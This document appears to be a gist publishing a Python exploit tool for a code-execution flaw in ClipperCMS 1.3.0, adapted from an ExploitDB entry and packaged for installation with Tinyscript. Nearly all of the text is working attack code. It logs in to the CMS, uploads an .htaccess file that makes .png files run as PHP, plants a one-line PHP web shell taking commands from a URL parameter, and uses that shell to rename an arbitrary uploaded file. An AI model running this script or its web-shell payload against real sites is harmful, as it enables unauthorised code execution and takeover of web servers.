This is a variation of this exploit using Tinyscript and Pybots for uploading a shell.
$ pip install tinyscript
$ tsm install clippercms-shell-uploader
This is a variation of this exploit using Tinyscript and Pybots for uploading a shell.
$ pip install tinyscript
$ tsm install clippercms-shell-uploader
#!/usr/local/bin/python | |
# Exploit for ClipperCMS 1.3.0 Code Execution vulnerability | |
# Based on: https://www.exploit-db.com/exploits/38730 | |
from pybots import HTTPBot | |
from tinyscript import * | |
__author__ = "Alexandre D'Hondt" | |
__email__ = "[email protected]" | |
__version__ = "1.0" | |
__copyright__ = ("A. D'Hondt", 2020) | |
__license__ = "gpl-3.0" | |
__reference__ = "https://www.exploit-db.com/exploits/38730" | |
__examples__ = ["https://www.example.com/clipper-cms/ user s3cr3t shell.php"] | |
__doc__ = """ | |
This tool adapts exploit 38730 of ExploitDB for uploading a Web shell. | |
""" | |
BANNER_FONT = "standard" | |
BANNER_STYLE = {'fgcolor': "lolcat"} | |
SCRIPTNAME_FORMAT = "none" | |
class Exploit(HTTPBot): | |
def __init__(self, url, username, password, **kwargs): | |
super(Exploit, self).__init__(url, **kwargs) | |
self.session.headers.update({'Referer': self.url}) | |
# first, try to login | |
data = {"ajax": "1", "username": username, "password": password} | |
self.post("manager/processors/login.processor.php", data=data) | |
if "Incorrect username or password" in self.response.text: | |
self.logger.critical("Bad username or password") | |
# then, check for upload privilege | |
self.get("manager/index.php?a=31") | |
if "You don't have enough privileges" in self.response.text: | |
self.logger.critical("Not enough privileges") | |
m = re.search("var current_path = '(.*)';", self.response.text) | |
path = m.group(1) | |
self.data = {'path': m.group(1)} | |
def _upload(self, filename, content): | |
self.post("manager/index.php?a=31", data=self.data, files={'userfile[0]': (filename, content)}) | |
def upload(self, filename, content=None): | |
# upload a remote command PHP script | |
self._upload(".htaccess", "AddType application/x-httpd-php .png") | |
self._upload("404.png", "<?php passthru($_GET['x']) ?>") | |
# upload the file with PNG extension then rename it | |
tmp, ext = os.path.splitext(filename) | |
tmp += ".png" | |
if not content: | |
with open(filename) as f: | |
content = f.read() | |
self._upload(tmp, content) | |
self.get("404.png?x=mv {} {} ".format(tmp, filename)) | |
if self.response.status_code == 200: | |
self.logger.info("File uploaded at {}".format(self.url.rstrip("/") + "/" + filename)) | |
else: | |
self.logger.critical("File upload failed") | |
if __name__ == '__main__': | |
parser.add_argument("url", help="base URL of ClipperCMS 1.3.0") | |
parser.add_argument("username", help="username") | |
parser.add_argument("password", help="password") | |
parser.add_argument("file", type=ts.file_exists, required=True, help="file to be uploaded") | |
initialize() | |
with Exploit(args.url, args.username, args.password, verbose=args.verbose) as bot: | |
bot.upload(args.file) |